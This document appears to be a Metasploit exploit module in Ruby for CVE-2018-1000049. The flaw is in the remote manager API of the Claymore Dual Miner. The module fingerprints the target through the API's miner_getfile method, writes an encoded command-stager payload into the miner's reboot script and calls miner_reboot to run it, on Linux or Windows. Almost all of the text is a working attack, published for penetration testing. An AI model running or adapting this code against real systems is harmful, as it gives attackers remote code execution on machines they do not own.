1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name'=> 'Nanopool Claymore Dual Miner APIs RCE', 'Description' => %q{ This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability. }, 'Author'=> [ 'reversebrain@snado', # Vulnerability reporter 'phra@snado'# Metasploit module ], 'License' => MSF_LICENSE, 'References'=> [ ['EDB', '44638'], ['CVE', '2018-1000049'], ['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'] ], 'Platform'=> ['win', 'linux'], 'Targets' => [ [ 'Automatic Target', { 'auto' => true }], [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X64, 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ] } ], [ 'Windows', { 'Platform' => 'windows', 'Arch' => ARCH_X64, 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DisclosureDate'=> 'Feb 09 2018', 'DefaultTarget' => 0)) register_options( [ OptPort.new('RPORT', [ true, 'Set miner port', 3333 ]) ]) deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') end def select_target data = { "id"=> 0, "jsonrpc" => '2.0', "method"=> 'miner_getfile', "params"=> ['config.txt'] }.to_json connect sock.put(data) buf = sock.get_once || '' tmp = StringIO.new tmp << buf tmp2 = tmp.string hex = '' if tmp2.scan(/\w+/)[7] return self.targets[2] elsif tmp2.scan(/\w+/)[5] return self.targets[1] else return nil end end def check target = select_target if target.nil? return Exploit::CheckCode::Safe end data = { "id"=> 0, "jsonrpc" => '2.0', "method"=> 'miner_getfile', "params"=> ['config.txt'] }.to_json connect sock.put(data) buf = sock.get_once || '' tmp = StringIO.new tmp << buf tmp2 = tmp.string hex = '' case target['Platform'] when 'linux' hex = tmp2.scan(/\w+/)[5] when 'windows' hex = tmp2.scan(/\w+/)[7] end str = Rex::Text.hex_to_raw(hex) if str.include?('WARNING') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Detected end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e vprint_error(e.message) return Exploit::CheckCode::Unknown ensure disconnect end def execute_command(cmd, opts = {}) target = select_target case target['Platform'] when 'linux' cmd = Rex::Text.to_hex(cmd, '') upload = { "id"=> 0, "jsonrpc" => '2.0', "method"=> 'miner_file', "params"=> ['reboot.bash', "#{cmd}"] }.to_json when 'windows' cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') upload = { "id"=> 0, "jsonrpc" => '2.0', "method"=> 'miner_file', "params"=> ['reboot.bat', "#{cmd}"] }.to_json end connect sock.put(upload) buf = sock.get_once || '' trigger_vulnerability rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e fail_with(Failure::UnexpectedReply, e.message) ensure disconnect end def trigger_vulnerability execute = { "id"=> 0, "jsonrpc" => '2.0', "method"=> 'miner_reboot' }.to_json connect sock.put(execute) buf = sock.get_once || '' disconnect end def exploit target = select_target if target.nil? fail_with(Failure::NoTarget, 'No matching target') end if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i) fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'") end case target['Platform'] when 'linux' execute_cmdstager(flavor: :echo, linemax: 100000) when 'windows' execute_cmdstager(flavor: :vbs, linemax: 100000) end end end |